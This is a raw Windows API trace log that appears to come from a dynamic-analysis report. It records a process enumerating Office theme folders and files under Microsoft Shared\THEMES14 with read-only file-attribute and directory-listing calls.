	[0050.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), fInfoLevelId=0x0, lpFileInformation=0x1278b6d8 | out: lpFileInformation=0x1278b6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.659] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278b868 | out: lpFileInformation=0x1278b868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44)) returned 1
	[0050.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278b8b8 | out: lpFileInformation=0x1278b8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262)) returned 1
	[0050.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278b908 | out: lpFileInformation=0x1278b908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553)) returned 1
	[0050.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278b958 | out: lpFileInformation=0x1278b958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93)) returned 1
	[0050.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), fInfoLevelId=0x0, lpFileInformation=0x1278b9a8 | out: lpFileInformation=0x1278b9a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.661] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278bb38 | out: lpFileInformation=0x1278bb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613)) returned 1
	[0050.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278bb88 | out: lpFileInformation=0x1278bb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6)) returned 1
	[0050.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278bbd8 | out: lpFileInformation=0x1278bbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d)) returned 1
	[0050.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278bc28 | out: lpFileInformation=0x1278bc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f)) returned 1
	[0050.662] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x1278bc78 | out: lpFileInformation=0x1278bc78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.662] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278be08 | out: lpFileInformation=0x1278be08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8)) returned 1
	[0050.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278be58 | out: lpFileInformation=0x1278be58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1
	[0050.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278bea8 | out: lpFileInformation=0x1278bea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507)) returned 1
	[0050.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278bef8 | out: lpFileInformation=0x1278bef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3)) returned 1
	[0050.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x1278bf48 | out: lpFileInformation=0x1278bf48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.665] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), fInfoLevelId=0x0, lpFileInformation=0x127640f8 | out: lpFileInformation=0x127640f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc)) returned 1
	[0050.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), fInfoLevelId=0x0, lpFileInformation=0x12764148 | out: lpFileInformation=0x12764148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239)) returned 1
	[0050.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x12764198 | out: lpFileInformation=0x12764198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75)) returned 1
	[0050.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x127641e8 | out: lpFileInformation=0x127641e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd)) returned 1
	[0050.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), fInfoLevelId=0x0, lpFileInformation=0x12764238 | out: lpFileInformation=0x12764238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.667] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), fInfoLevelId=0x0, lpFileInformation=0x127643c8 | out: lpFileInformation=0x127643c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce)) returned 1
	[0050.672] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.678] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
